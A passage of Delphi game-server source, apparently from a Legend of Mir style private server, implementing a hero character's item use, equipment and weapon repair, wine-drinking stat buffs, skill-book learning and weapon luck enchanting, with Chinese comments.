THeroObject.RepairAllItemDura:Integer; var nWhere: Integer; //sCheckItemName: string; StdItem: pTStdItem; begin Result:= 0; for nWhere := Low(THumanUseItems) to High(THumanUseItems) do begin if m_UseItems[nWhere].wIndex > 0 then begin StdItem := UserEngine.GetStdItem(m_UseItems[nWhere].wIndex); if StdItem <> nil then begin if ((m_UseItems[nWhere].DuraMax div 1000)> (m_UseItems[nWhere].Dura div 1000)) and (StdItem.StdMode<>7) and (StdItem.StdMode<>25) and (StdItem.StdMode<>43) and (StdItem.AniCount<>21) then begin if CheckItemValue(@m_UseItems[nWhere], 3) then Continue //20080314 禁止修 else { if Assigned(zPlugOfEngine.CheckCanRepairItem) then begin sCheckItemName := StdItem.Name; if not zPlugOfEngine.CheckCanRepairItem(m_Master, PChar(sCheckItemName)) then Continue;//检查是否是不能修复的物品 end;} if PlugOfCheckCanItem(3, StdItem.Name, False, 0, 0) then Continue;//禁止物品规则(管理插件功能) 20080729 Inc(Result,(m_UseItems[nWhere].DuraMax - m_UseItems[nWhere].Dura)); end; end; end; end; end; //召唤强化卷,把招出的宝宝变成7级 20080329 function THeroObject.CallMobeItem(): Boolean; var I: Integer; Slave: TBaseObject; begin Result:= False; if m_SlaveList.Count= 0 then begin SysMsg('您没有召唤宝宝,不能使用此物品!', c_Red, t_Hint); Exit; end; if m_SlaveList.Count > 0 then begin//20080630 for I := 0 to m_SlaveList.Count - 1 do begin Slave := TBaseObject(m_SlaveList.Items[I]); if Slave.m_btRaceServer = RC_PLAYMOSTER then Continue;//20081102 分身不能调级 if Slave.m_btSlaveExpLevel < 7 then begin //20080323 Slave.m_btSlaveExpLevel:= 7; Slave.RecalcAbilitys;//20080328 改变等级,刷新属性 Slave.RefNameColor;//20080408 Slave.SendRefMsg(RM_MYSHOW, ET_OBJECTLEVELUP,0, 0, 0, ''); //宝宝升级动画 20080328 Result:= True; SysMsg('在神秘的力量影响下,你的宠物:'+Slave.m_sCharName+' 成长为7级', BB_Fuchsia, t_Hint); Break; end; end; end; end; //全部修复 procedure THeroObject.RepairAllItem(DureCount: Integer; boDec: Boolean); var nWhere,RepCount: Integer; // sCheckItemName: string; StdItem: pTStdItem; begin for nWhere := Low(THumanUseItems) to High(THumanUseItems) do begin if m_UseItems[nWhere].wIndex > 0 then begin StdItem := UserEngine.GetStdItem(m_UseItems[nWhere].wIndex); if StdItem <> nil then begin if ((m_UseItems[nWhere].DuraMax div 1000) > (m_UseItems[nWhere].Dura div 1000)) and (StdItem.StdMode<>7) and (StdItem.StdMode<>25) and (StdItem.StdMode<>43) and (StdItem.AniCount<>21) then begin if CheckItemValue(@m_UseItems[nWhere], 3) then Continue //20080314 禁止修 else {if Assigned(zPlugOfEngine.CheckCanRepairItem) then begin sCheckItemName := StdItem.Name; if not zPlugOfEngine.CheckCanRepairItem(m_Master, PChar(sCheckItemName)) then Continue; end;} if PlugOfCheckCanItem(3, StdItem.Name, False, 0, 0) then Continue;//禁止物品规则(管理插件功能) 20080729 if not boDec then begin//修复点够,则直接修复不计算 if (m_UseItems[nWhere].DuraMax div 1000) - (m_UseItems[nWhere].Dura div 1000) > 0 then SysMsg('装备 【'+StdItem.Name+'】已成功修复!', BB_Fuchsia, t_Hint); //20071229 m_UseItems[nWhere].Dura := m_UseItems[nWhere].DuraMax; SendMsg(Self, RM_HERODURACHANGE, nWhere, m_UseItems[nWhere].Dura, m_UseItems[nWhere].DuraMax, 0, ''); end else begin RepCount:= (m_UseItems[nWhere].DuraMax div 1000) - (m_UseItems[nWhere].Dura div 1000); if DureCount >= RepCount then begin Dec(DureCount,RepCount); if (m_UseItems[nWhere].DuraMax div 1000) - (m_UseItems[nWhere].Dura div 1000) > 0 then SysMsg('装备 【'+StdItem.Name+'】已成功修复!', c_Green, t_Hint); //20071229 m_UseItems[nWhere].Dura := m_UseItems[nWhere].DuraMax; SendMsg(Self, RM_HERODURACHANGE, nWhere, m_UseItems[nWhere].Dura, m_UseItems[nWhere].DuraMax, 0, '');//20071229 end else if DureCount > 0 then begin DureCount:= 0; m_UseItems[nWhere].Dura :=m_UseItems[nWhere].Dura + DureCount * 1000; SendMsg(Self, RM_HERODURACHANGE, nWhere, m_UseItems[nWhere].Dura, m_UseItems[nWhere].DuraMax, 0, '');//20071229 Break; end; end; end; end; end; end; end; //客户端英雄包裹里使用物品 procedure THeroObject.ClientHeroUseItems(nItemIdx: Integer; sItemName: string); function GetUnbindItemName(nShape: Integer): string; var I: Integer; begin Result := ''; if g_UnbindList.Count > 0 then begin//20080630 for I := 0 to g_UnbindList.Count - 1 do begin if Integer(g_UnbindList.Objects[I]) = nShape then begin Result := g_UnbindList.Strings[I]; Break; end; end; end; end; function GetUnBindItems(sItemName: string; nCount: Integer): Boolean; var I: Integer; UserItem: pTUserItem; begin Result := False; if nCount <=0 then nCount:=1;//20080630 for I := 0 to nCount - 1 do begin New(UserItem); if UserEngine.CopyToUserItemFromName(sItemName, UserItem) then begin m_ItemList.Add(UserItem); //if m_btRaceServer = RC_PLAYOBJECT then SendAddItem(UserItem); Result := True; end else begin Dispose(UserItem); Break; end; end; end; function FoundUserItem(Item: pTUserItem): Boolean; var I: Integer; UserItem: pTUserItem; begin Result := False; if m_ItemList.Count > 0 then begin//20080628 for I := 0 to m_ItemList.Count - 1 do begin UserItem := m_ItemList.Items[I]; if UserItem = Item then begin Result := True; Break; end; end; end; end; var I, ItemCount: Integer; boEatOK: Boolean; boSendUpDate: Boolean; UserItem: pTUserItem; StdItem: pTStdItem; UserItem34: TUserItem; // sMapName: string; // nCurrX, nCurrY: Integer; // sUsesItemName:string; begin TPlayObject(m_Master).m_boCanQueryBag:= True;//使用物品时,不能刷新包裹 20080917 Try boEatOK := False; boSendUpDate := False; StdItem := nil; if m_boCanUseItem then begin if not m_boDeath then begin for I := m_ItemList.Count - 1 downto 0 do begin if m_ItemList.Count <= 0 then Break; UserItem := m_ItemList.Items[I]; if (UserItem <> nil) and (UserItem.MakeIndex = nItemIdx) then begin UserItem34 := UserItem^; StdItem := UserEngine.GetStdItem(UserItem.wIndex); if StdItem <> nil then begin if not m_PEnvir.AllowStdItems(UserItem.wIndex) then begin SysMsg(Format(g_sCanotMapUseItemMsg, [StdItem.Name]), BB_Fuchsia, t_Hint); Break; end; {if Assigned(zPlugOfEngine.CheckCanHeroUseItem) and (m_Master <> nil) then begin //是否禁止英雄使用 20080716 sUsesItemName:= StdItem.Name ; if zPlugOfEngine.CheckCanHeroUseItem(m_Master, PChar(sUsesItemName)) then begin Break; end; end;} if PlugOfCheckCanItem(8, StdItem.Name, False, 0, 0) then Break;//禁止物品规则(管理插件功能) 20080729 case StdItem.StdMode of 0, 1, 3: begin //药 if EatItems(StdItem) then begin if UserItem <> nil then begin m_ItemList.Delete(I); DisPoseAndNil(UserItem); end; boEatOK := True; end; Break; end; 2: begin if StdItem.AniCount= 21 then begin //祝福罐 类型的物品 20080315 if StdItem.Reserved <> 56 then begin if UserItem.Dura > 0 then begin if (m_ItemList.Count - 1) <= MAXBAGITEM then begin if UserItem.Dura >= 1000 then begin //修改为1000,20071229 Dec(UserItem.Dura, 1000); Dec(UserItem.DuraMax, 1000);//20080324 减少存物品数量 end else begin UserItem.Dura := 0; UserItem.DuraMax:= 0;//20080324 减少存物品数量 end; //需要修改UnbindList.txt,加入 3 祝福油 20071229 3---为 祝福罐的外观值 GetUnBindItems(GetUnbindItemName(StdItem.Shape), 1); //给一个祝福油 20080310 if UserItem.DuraMax = 0 then begin //20080324 不能存取物品,则删除物品 if UserItem <> nil then begin m_ItemList.Delete(I); DisPoseAndNil(UserItem); end; boEatOK := True; end; end; end; end else begin//泉水罐 if UserItem.Dura >= 1000 then begin if (m_ItemList.Count - 1) <= MAXBAGITEM then begin if UserItem.Dura >= 1000 then begin Dec(UserItem.Dura, 1000); //Dec(UserItem.DuraMax, 1000);//20080324 减少存物品数量 end else begin UserItem.Dura := 0; //UserItem.DuraMax:= 0;//20080324 减少存物品数量 end; //需要修改UnbindList.txt,加入 1 泉水 1---为 泉水的外观值 GetUnBindItems(GetUnbindItemName(StdItem.Shape), 1); //给一个泉水 20080310 { if UserItem.DuraMax = 0 then begin //20080324 不能存取物品,则删除物品 m_ItemList.Delete(I); DisPoseAndNil(UserItem); boEatOK := True; end;} end; end; end; boSendUpDate := True; end else case StdItem.Shape of 1: begin //召唤强化卷 20080329 if UserItem.Dura > 0 then begin if UserItem.Dura >= 1000 then begin if CallMobeItem() then begin //召唤强化卷,把招出的宝宝变成7级 20080221 Dec(UserItem.Dura, 1000); boEatOK := True; end; end else begin UserItem.Dura := 0; end; end; if UserItem.Dura > 0 then begin boSendUpDate := True; boEatOK := False; end else begin if UserItem <> nil then begin UserItem.wIndex:= 0;//20081014 m_ItemList.Delete(I); DisPoseAndNil(UserItem); end; end; end; 9: begin //原值为1,20071229 //修复神水 ItemCount:= RepairAllItemDura; if (UserItem.Dura > 0) and (ItemCount > 0) then begin if UserItem.Dura >= (ItemCount div 10){100} then begin//20080325 Dec(UserItem.Dura, (ItemCount div 10){100}); RepairAllItem(ItemCount div 1000, False); if UserItem.Dura < 100 then UserItem.Dura:= 0; end else begin UserItem.Dura:= 0; RepairAllItem(ItemCount div 1000, True); end; end; boEatOK := False; if UserItem.Dura > 0 then begin boSendUpDate := True; end else begin if UserItem <> nil then begin m_ItemList.Delete(I); DisPoseAndNil(UserItem); end; boEatOK := True; end; end; end;//Case end; 4: begin //书 if ReadBook(StdItem) then begin if UserItem <> nil then begin m_ItemList.Delete(I); DisPoseAndNil(UserItem); end; boEatOK := True; { if (m_MagicErgumSkill <> nil) and (not m_boUseThrusting) then begin //20080215 注释 ThrustingOnOff(True); //SendSocket(nil, '+LNG'); end; if (m_MagicBanwolSkill <> nil) and (not m_boUseHalfMoon) then begin HalfMoonOnOff(True); //SendSocket(nil, '+WID'); end;} end; end; 31: begin //解包物品 case StdItem.AniCount of 0..3:begin if (m_ItemList.Count + 6 - 1) <= m_nItemBagCount then begin if UserItem <> nil then begin m_ItemList.Delete(I); DisPoseAndNil(UserItem); end; GetUnBindItems(GetUnbindItemName(StdItem.Shape), 6); boEatOK := True; end; end;//0..3 4..255:begin//20080728 增加 case StdItem.Shape of 0: begin if FoundUserItem(UserItem) then begin//20080819 先查找物品,删除物品后再触发 if UserItem <> nil then begin m_ItemList.Delete(I); ClearCopyItem(UserItem.wIndex, UserItem.MakeIndex);//清理复制品 20080901 DisPoseAndNil(UserItem); UseStdmodeFunItem(StdItem);//使用物品触发脚本段 end; boEatOK := True; end; end; { 1: begin if ItemDblClick(StdItem.Name, UserItem.MakeIndex, sMapName, nCurrX, nCurrY) then begin m_ItemList.Delete(I); DisPoseAndNil(UserItem); SpaceMove(sMapName, nCurrX, nCurrY, 0); boEatOK := True; end else begin SendMsg(g_ManageNPC, RM_MENU_OK, 0, Integer(Self), 0, 0, '当前地图坐标保存成功!!!\再次双击,将传送到\地图:' + m_sMapName + ' 坐标:' + IntToStr(m_nCurrX) + ':' + IntToStr(m_nCurrY)); end; end; } end; //case StdItem.Shape of end;//4..255 end;//Case { 20071231 修改成上面代码 if StdItem.AniCount = 0 then begin if (m_ItemList.Count + 6 - 1) <= m_nItemBagCount then begin m_ItemList.Delete(I); DisPoseAndNil(UserItem); GetUnBindItems(GetUnbindItemName(StdItem.Shape), 6); boEatOK := True; end; end; } end;//31 60:begin//饮酒 20080622 if StdItem.Shape <> 0 then begin//除烧酒外,酒量值达到要求 if not n_DrinkWineDrunk then begin if m_Abil.MaxAlcohol >= StdItem.Need then begin//酒量值达到要求 if UserItem.Dura > 0 then begin if UserItem.Dura >= 1000 then begin Dec(UserItem.Dura, 1000); end else begin UserItem.Dura := 0; end; SendRefMsg(RM_MYSHOW, 7, 0, 0, 0, ''); //喝酒自身动画 20080623 if m_Abil.WineDrinkValue = 0 then begin//如果醉酒度为0,则初始时间间隔 m_dwDecWineDrinkValueTick:= GetTickCount(); m_dwAddAlcoholTick := GetTickCount(); end; Inc(m_Abil.WineDrinkValue, (UserItem.btValue[1] * m_Abil.MaxAlcohol div 200));//增加醉酒度 20080623 n_DrinkWineAlcohol:= UserItem.btValue[1];//饮酒时酒的度数 20080624 n_DrinkWineQuality:= UserItem.btValue[0];//饮酒时酒的品质 20080623 if m_Abil.WineDrinkValue >= m_Abil.MaxAlcohol then begin//醉酒度超过上限,即喝醉了 m_Abil.WineDrinkValue:= m_Abil.MaxAlcohol; n_DrinkWineDrunk:= True;//喝酒醉了 20080623 SysMsg('(英雄)自觉头晕不已,酒虽为情所系,奈何量去甚多,暂无余力再饮!',c_Red,t_Hint); SendRefMsg(RM_MYSHOW, 9 ,0, 0, 0, ''); //喝醉自身动画 20080623 end; //普通酒,品质2以上,25%机率加临时属性 20080713 if (StdItem.Anicount = 1) and (n_DrinkWineQuality > 2) and (Random(4)=0) and (not n_DrinkWineDrunk) then begin Case Random(2) of 0: DefenceUp(300);//增加防御力300秒 1: MagDefenceUp(300);//增加魔御300秒 end; end; if (StdItem.Anicount = 2) and (not n_DrinkWineDrunk) then begin//药酒可增加药力值 //品质为4以上,药酒增加临时属性 20080626 if n_DrinkWineQuality > 4 then begin case StdItem.Shape of 8:begin//虎骨酒 增加攻击上限,魔法上限或道术上限2点,效果持续600秒 Case m_btJob of 0:begin m_wStatusArrValue[0]:= 2; m_dwStatusArrTimeOutTick[0]:= GetTickCount + 600000{600 * 1000}; end; 1:begin m_wStatusArrValue[1]:= 2; m_dwStatusArrTimeOutTick[1]:= GetTickCount + 600000{600 * 1000}; end; 2:begin m_wStatusArrValue[2]:= 2; m_dwStatusArrTimeOutTick[2]:= GetTickCount + 600000{600 * 1000}; end; end; end; 9:begin//金箔酒 增加生命值上限100点,效果持续600秒 m_wStatusArrValue[4]:= 100; m_dwStatusArrTimeOutTick[4]:= GetTickCount + 600000{600 * 1000}; end; 10:begin//活脉酒 增加敏捷2点,效果持续600秒 m_wStatusArrValue[11]:= 2; m_dwStatusArrTimeOutTick[11]:= GetTickCount + 600000{600 * 1000}; end; 11:begin//玄参酒 增加防御上限4点,效果持续600秒 m_wStatusTimeArr[9]:= 4; m_dwStatusArrTimeOutTick[9]:= GetTickCount + 600000{600 * 1000}; end; 12:begin//蛇胆酒 增加魔法值上限200点,效果持续600秒 m_wStatusArrValue[5]:= 200; m_dwStatusArrTimeOutTick[5]:= GetTickCount + 600000{600 * 1000}; end; end; end; dw_UseMedicineTime:= g_Config.nDesMedicineTick;//始化使用药酒时间(12小时) Inc(m_Abil.MedicineValue,UserItem.btValue[2]);//增加药力值 if m_Abil.MedicineValue >= m_Abil.MaxMedicineValue then begin//当前药力值达到当前等级上限时 Dec(m_Abil.MedicineValue, m_Abil.MaxMedicineValue); Case (n_MedicineLevel mod 6) of//增加永久属性 0:begin//攻击/魔法/道术上限(看职业) Case m_btJob of 0: m_Abil.DC := MakeLong(m_Abil.DC, m_Abil.DC+1); 1: m_Abil.MC := MakeLong(m_Abil.MC, m_Abil.MC+1); 2: m_Abil.SC := MakeLong(m_Abil.SC, m_Abil.SC+1); end; end; 1: m_Abil.MAC := MakeLong(m_Abil.MAC+1, m_Abil.MAC);//加魔御下限 2: m_Abil.AC := MakeLong(m_Abil.AC+1, m_Abil.AC);//加防御下限 3:begin//攻击/魔法/道术下限(看职业) Case m_btJob of 0: m_Abil.DC := MakeLong(m_Abil.DC+1, m_Abil.DC); 1: m_Abil.MC := MakeLong(m_Abil.MC+1, m_Abil.MC); 2: m_Abil.SC := MakeLong(m_Abil.SC+1, m_Abil.SC); end; end; 4: m_Abil.MAC := MakeLong(m_Abil.MAC, m_Abil.MAC+1);//魔御上限 5: m_Abil.AC := MakeLong(m_Abil.AC, m_Abil.AC+1);//防御上限 end;//Case (n_MedicineLevel mod 6) of if n_MedicineLevel < MAXUPLEVEL then Inc(n_MedicineLevel);//增加等级 m_Abil.MaxMedicineValue := GetMedicineExp(n_MedicineLevel);//取升级后的等级对应的药力值 SysMsg('(英雄)酒劲在周身弥漫,感觉身体状态有所改变',c_Red,t_Hint);//提示用户 end; end;//if StdItem.Anicount = 2 then begin//药酒可增加药力值 RecalcAbilitys(); CompareSuitItem(False);//套装与身上装备对比 20080729 SendMsg(Self, RM_HEROABILITY, 0, 0, 0, 0, ''); boEatOK := True; end; if UserItem.Dura > 0 then begin boSendUpDate := True; boEatOK := False; end else begin if UserItem <> nil then begin UserItem.wIndex:= 0;//20081014 m_ItemList.Delete(I); DisPoseAndNil(UserItem); end; end; end else begin SysMsg('(英雄)酒量需达到'+inttostr(StdItem.Need)+'才能饮用!',c_Red,t_Hint);//提示用户 end; end else begin SysMsg('(英雄)自觉头晕不已,酒虽为情所系,奈何量去甚多,暂无余力再饮!',c_Red,t_Hint); end; end;//if (StdItem.Shape <> 0) end;//60 end; Break; end; end; end; end; end else begin m_Master.SendMsg(g_ManageNPC, RM_MENU_OK, 0, Integer(m_Master), 0, 0, g_sCanotUseItemMsg); end; if boEatOK then begin WeightChanged(); SendDefMessage(SM_HEROEAT_OK, 0, 0, 0, 0, ''); if StdItem.NeedIdentify = 1 then AddGameDataLog('11' + #9 + m_sMapName + #9 + IntToStr(m_nCurrX) + #9 + IntToStr(m_nCurrY) + #9 + m_sCharName + #9 + StdItem.Name + #9 + IntToStr(UserItem34.MakeIndex) + #9 + '('+IntToStr(LoWord(StdItem.DC))+'/'+IntToStr(HiWord(StdItem.DC))+')'+ '('+IntToStr(LoWord(StdItem.MC))+'/'+IntToStr(HiWord(StdItem.MC))+')'+ '('+IntToStr(LoWord(StdItem.SC))+'/'+IntToStr(HiWord(StdItem.SC))+')'+ '('+IntToStr(LoWord(StdItem.AC))+'/'+IntToStr(HiWord(StdItem.AC))+')'+ '('+IntToStr(LoWord(StdItem.MAC))+'/'+IntToStr(HiWord(StdItem.MAC))+')'+ IntToStr(UserItem34.btValue[0])+'/'+IntToStr(UserItem34.btValue[1])+'/'+IntToStr(UserItem34.btValue[2])+'/'+ IntToStr(UserItem34.btValue[3])+'/'+IntToStr(UserItem34.btValue[4])+'/'+IntToStr(UserItem34.btValue[5])+'/'+ IntToStr(UserItem34.btValue[6])+'/'+IntToStr(UserItem34.btValue[7])+'/'+IntToStr(UserItem34.btValue[8])+'/'+ IntToStr(UserItem34.btValue[14])+ #9 + '0'); end else begin SendDefMessage(SM_HEROEAT_FAIL, 0, 0, 0, 0, ''); end; if (UserItem <> nil) and boSendUpDate then begin SendUpdateItem(UserItem); end; finally TPlayObject(m_Master).m_boCanQueryBag:= False; end; end; procedure THeroObject.WeightChanged; begin if m_Master = nil then Exit; m_WAbil.Weight := RecalcBagWeight(); if m_btRaceServer = RC_HEROOBJECT then begin SendUpdateMsg(m_Master, RM_HEROWEIGHTCHANGED, 0, 0, 0, 0, ''); end; end; procedure THeroObject.RefMyStatus(); begin RecalcAbilitys(); CompareSuitItem(False);//套装与身上装备对比 20080729 m_Master.SendMsg(m_Master, RM_MYSTATUS, 0, 1, 0, 0, ''); end; function THeroObject.EatItems(StdItem: pTStdItem): Boolean; var bo06: Boolean; // nOldStatus: Integer; begin Result := False; if m_PEnvir.m_boNODRUG then begin SysMsg(sCanotUseDrugOnThisMap, BB_Fuchsia, t_Hint); Exit; end; case StdItem.StdMode of 0: begin case StdItem.Shape of 1: begin IncHealthSpell(StdItem.AC, StdItem.MAC); Result := True; end; 2: begin m_boUserUnLockDurg := True; Result := True; end; 3: begin//增加内功经验物品 20081002 英雄不能使用内功物品 20081227 {if m_boTrainingNG then begin GetNGExp(StdItem.AC * 1000, 1); Result := True; end;} end; else begin if (StdItem.AC > 0) then begin Inc(m_nIncHealth, StdItem.AC); end; if (StdItem.MAC > 0) then begin Inc(m_nIncSpell, StdItem.MAC); end; Result := True; end; end; end; 1: Result := False; {1: begin nOldStatus := GetMyStatus(); Inc(m_nHungerStatus, StdItem.DuraMax div 10); m_nHungerStatus := _MIN(5000, m_nHungerStatus); if nOldStatus <> GetMyStatus() then RefMyStatus(); Result := True; end;} 3: begin if StdItem.Shape = 12 then begin bo06 := False; if LoWord(StdItem.DC) > 0 then begin m_wStatusArrValue[0] := LoWord(StdItem.DC); m_dwStatusArrTimeOutTick[0] := GetTickCount + HiWord(StdItem.MAC) * 1000; SysMsg('攻击力增加' + IntToStr(HiWord(StdItem.MAC)) + '秒', BB_Fuchsia, t_Hint); bo06 := True; end; if LoWord(StdItem.MC) > 0 then begin m_wStatusArrValue[1] := LoWord(StdItem.MC); m_dwStatusArrTimeOutTick[1 ] := GetTickCount + HiWord(StdItem.MAC) * 1000; SysMsg('魔法力增加' + IntToStr(HiWord(StdItem.MAC)) + '秒', BB_Fuchsia, t_Hint); bo06 := True; end; if LoByte(StdItem.SC) > 0 then begin m_wStatusArrValue[2 ] := LoWord(StdItem.SC); m_dwStatusArrTimeOutTick[2] := GetTickCount + HiWord(StdItem.MAC) * 1000; SysMsg('道术增加' + IntToStr(HiWord(StdItem.MAC)) + '秒', BB_Fuchsia, t_Hint); bo06 := True; end; if HiWord(StdItem.AC) > 0 then begin m_wStatusArrValue[3] := HiWord(StdItem.AC); m_dwStatusArrTimeOutTick[3] := GetTickCount + HiWord(StdItem.MAC) * 1000; SysMsg('攻击速度增加' + IntToStr(HiWord(StdItem.MAC)) + '秒', BB_Fuchsia, t_Hint); bo06 := True; end; if LoWord(StdItem.AC) > 0 then begin m_wStatusArrValue[4] := LoWord(StdItem.AC); m_dwStatusArrTimeOutTick[4] := GetTickCount + HiWord(StdItem.MAC) * 1000; SysMsg('生命值增加' + IntToStr(HiWord(StdItem.MAC)) + '秒', BB_Fuchsia, t_Hint); bo06 := True; end; if LoWord(StdItem.MAC) > 0 then begin m_wStatusArrValue[5] := LoWord(StdItem.MAC); m_dwStatusArrTimeOutTick[5] := GetTickCount + HiWord(StdItem.MAC) * 1000; SysMsg('魔法值增加' + IntToStr(HiWord(StdItem.MAC)) + '秒', BB_Fuchsia, t_Hint); bo06 := True; end; if bo06 then begin RecalcAbilitys(); CompareSuitItem(False);//套装与身上装备对比 20080729 SendMsg(m_Master, RM_HEROABILITY, 0, 0, 0, 0, ''); SendMsg(m_Master, RM_HEROSUBABILITY, 0, 0, 0, 0, ''); Result := True; end; end else begin Result := EatUseItems(StdItem.Shape); end; end; end; end; function THeroObject.ReadBook(StdItem: pTStdItem): Boolean; var Magic: pTMagic; UserMagic: pTUserMagic; begin Result := False; Magic := UserEngine.FindHeroMagic(StdItem.Name); if Magic <> nil then begin if not IsTrainingSkill(Magic.wMagicId) then begin {护体神盾不限制职业 20080316} if ((Magic.sDescr = '英雄') or (Magic.sDescr = '内功')) and ((Magic.btJob = 99) or (Magic.btJob = m_btJob) or (Magic.wMagicId =75)) then begin if (Magic.sDescr = '内功') then begin//内功技能 if m_boTrainingNG then begin//学过内功心法才能学习技能 if m_NGLevel >= Magic.TrainLevel[0] then begin//等级达到最低要求 New(UserMagic); UserMagic.MagicInfo := Magic; UserMagic.wMagIdx := Magic.wMagicId; UserMagic.btKey := 0; UserMagic.btLevel := 0; UserMagic.nTranPoint := 0; m_MagicList.Add(UserMagic); RecalcAbilitys(); CompareSuitItem(False);//套装与身上装备对比 20080729 SendAddMagic(UserMagic); TPlayObject(m_Master).HeroAddSkillFunc(Magic.wMagicId);//英雄学技能触发 20080324 Result := True; end else SysMsg(Format('(英雄) 内功心法等级没有达到 %d,不能学习此内功技能!!!',[Magic.TrainLevel[0]]), c_Red, t_Hint); end else SysMsg('(英雄) 没学过内功心法,不能学习此内功技能!!!', c_Red, t_Hint); end else begin//普通技能 if (Magic.wMagicId in [60..65]) and (Magic.wMagicId <> GetTogetherUseSpell) then begin SysMsg('(英雄) 不能学习此合击技能!!!', BB_Fuchsia, t_Hint); Exit; end; if m_Abil.Level >= Magic.TrainLevel[0] then begin if (Magic.wMagicId = 68) and ((m_MaxExp68 <> 0) or (m_Exp68 <> 0)) then begin//是酒气护体 20080925 m_MaxExp68:= 0; m_Exp68:= 0; end; New(UserMagic); UserMagic.MagicInfo := Magic; UserMagic.wMagIdx := Magic.wMagicId; UserMagic.btKey := 0; UserMagic.btLevel := 0; UserMagic.nTranPoint := 0; m_MagicList.Add(UserMagic); RecalcAbilitys(); CompareSuitItem(False);//套装与身上装备对比 20080729 SendAddMagic(UserMagic); TPlayObject(m_Master).HeroAddSkillFunc(Magic.wMagicId);//英雄学技能触发 20080324 Result := True; end; end; end else SysMsg('(英雄) 不能学习此技能!!!', BB_Fuchsia, t_Hint); end else SysMsg('(英雄) 已经学过此技能,不能再学习!!!', BB_Fuchsia, t_Hint); end else SysMsg('(英雄) 不能学习人物的技能!!!', BB_Fuchsia, t_Hint); end; //发送增加的魔法 procedure THeroObject.SendAddMagic(UserMagic: pTUserMagic); var ClientMagic: TClientMagic; begin ClientMagic.Key := Char(UserMagic.btKey); ClientMagic.Level := UserMagic.btLevel; ClientMagic.CurTrain := UserMagic.nTranPoint; ClientMagic.Def := UserMagic.MagicInfo^; m_DefMsg := MakeDefaultMsg(SM_HEROADDMAGIC, 0, 0, 0, 1, 0); SendSocket(@m_DefMsg, EncodeBuffer(@ClientMagic, SizeOf(TClientMagic))); end; procedure THeroObject.SendDelMagic(UserMagic: pTUserMagic); begin m_DefMsg := MakeDefaultMsg(SM_HERODELMAGIC, UserMagic.wMagIdx, 0, 0, 1, 0); SendSocket(@m_DefMsg, ''); end; function THeroObject.IsEnoughBag(): Boolean; begin Result := False; if m_ItemList.Count < m_nItemBagCount then Result := True; end; procedure THeroObject.MakeWeaponUnlock; begin if m_UseItems[U_WEAPON].wIndex <= 0 then Exit; if m_UseItems[U_WEAPON].btValue[3] > 0 then begin Dec(m_UseItems[U_WEAPON].btValue[3]); SysMsg(g_sTheWeaponIsCursed, BB_Fuchsia, t_Hint); end else begin if m_UseItems[U_WEAPON].btValue[4] < 10 then begin Inc(m_UseItems[U_WEAPON].btValue[4]); SysMsg(g_sTheWeaponIsCursed, BB_Fuchsia, t_Hint); end; end; if m_btRaceServer = RC_HEROOBJECT then begin RecalcAbilitys(); CompareSuitItem(False);//套装与身上装备对比 20080729 SendMsg(m_Master, RM_HEROABILITY, 0, 0, 0, 0, ''); SendMsg(m_Master, RM_HEROSUBABILITY, 0, 0, 0, 0, ''); end; end; //使用祝福油,给武器加幸运 function THeroObject.WeaptonMakeLuck: Boolean; var StdItem: pTStdItem; nRand: Integer; boMakeLuck: Boolean; begin Result := False; if m_UseItems[U_WEAPON].wIndex <= 0 then Exit; nRand := 0; StdItem := UserEngine.GetStdItem(m_UseItems[U_WEAPON].wIndex); if StdItem <> nil then begin nRand := abs((HiWord(StdItem.DC) - LoWord(StdItem.DC))) div 5; end; if Random(g_Config.nWeaponMakeUnLuckRate {20}) = 1 then begin MakeWeaponUnlock(); end else begin boMakeLuck := False; if m_UseItems[U_WEAPON].btValue[4] > 0 then begin Dec(m_UseItems[U_WEAPON].btValue[4]); SysMsg(g_sWeaptonMakeLuck {'武器被加幸运了...'}, BB_Fuchsia, t_Hint); boMakeLuck := True; end else if m_UseItems[U_WEAPON].btValue[3] < g_Config.nWeaponMakeLuckPoint1 {1} then begin Inc(m_UseItems[U_WEAPON].btValue[3]); SysMsg(g_sWeaptonMakeLuck {'武器被加幸运了...'}, BB_Fuchsia, t_Hint); boMakeLuck := True; end else if (m_UseItems[U_WEAPON].btValue[3] < g_Config.nWeaponMakeLuckPoint2 {3}) and (Random(nRand + g_Config.nWeaponMakeLuckPoint2Rate {6}) = 1) then begin Inc(m_UseItems[U_WEAPON].btValue[3]); SysMsg(g_sWeaptonMakeLuck {'武器被加幸运了...'}, BB_Fuchsia, t_Hint); boMakeLuck := True; end else if (m_UseItems[U_WEAPON].btValue[3] < g_Config.nWeaponMakeLuckPoint3 {7}) and (Random(nRand * g_Config.nWeaponMakeLuckPoint3Rate {10 + 30}) = 1) then begin Inc(m_UseItems[U_WEAPON].btValue[3]); SysMsg(g_sWeaptonMakeLuck {'武器被加幸运了...'}, BB_Fuchsia, t_Hint); boMakeLuck := True; end; if m_btRaceServer = RC_HEROOBJECT then begin RecalcAbilitys(); CompareSuitItem(False);//套装与身上装备对比 20080729 SendMsg(m_Master, RM_HEROABILITY, 0, 0, 0, 0, ''); SendMsg(m_Master, RM_HEROSUBABILITY, 0, 0, 0, 0, ''); end; if not boMakeLuck then SysMsg(g_sWeaptonNotMakeLuck {'无效'}, BB_Fuchsia, t_Hint); end; Result := True; end; //修复武器 function THeroObject.RepairWeapon: Boolean; var nDura: Integer; UserItem: pTUserItem; begin Result := False; UserItem := @m_UseItems[U_WEAPON]; if (UserItem.wIndex <= 0) or (UserItem.DuraMax <= UserItem.Dura) then Exit; Dec(UserItem.DuraMax, (UserItem.DuraMax - UserItem.Dura) div g_Config.nRepairItemDecDura {30}); nDura := _MIN(5000, UserItem.DuraMax - UserItem.Dura); if nDura > 0 then begin Inc(UserItem.Dura, nDura); if m_btRaceServer = RC_HEROOBJECT then begin SendMsg(m_Master, RM_HERODURACHANGE, 1, UserItem.Dura, UserItem.DuraMax, 0, ''); SysMsg(g_sWeaponRepairSuccess {'武器修复成功...'}, BB_Fuchsia, t_Hint); end; Result := True; end; end; //特等品武器修复 function THeroObject.SuperRepairWeapon: Boolean; begin Result := False; if m_UseItems[U_WEAPON].wIndex <= 0 then Exit; m_UseItems[U_WEAPON].Dura := m_UseItems[U_WEAPON].DuraMax; if m_btRaceServer = RC_HEROOBJECT then begin SendMsg(m_Master, RM_HERODURACHANGE, 1, m_UseItems[U_WEAPON].Dura, m_UseItems[U_WEAPON].DuraMax, 0, ''); SysMsg(g_sWeaponRepairSuccess {'武器修复成功...'}, BB_Fuchsia, t_Hint); end; Result := True; end; //英雄无极真气 20080323 修改 //0级提升道术40% 1级提升60% 2级提升80% 3级提升100% 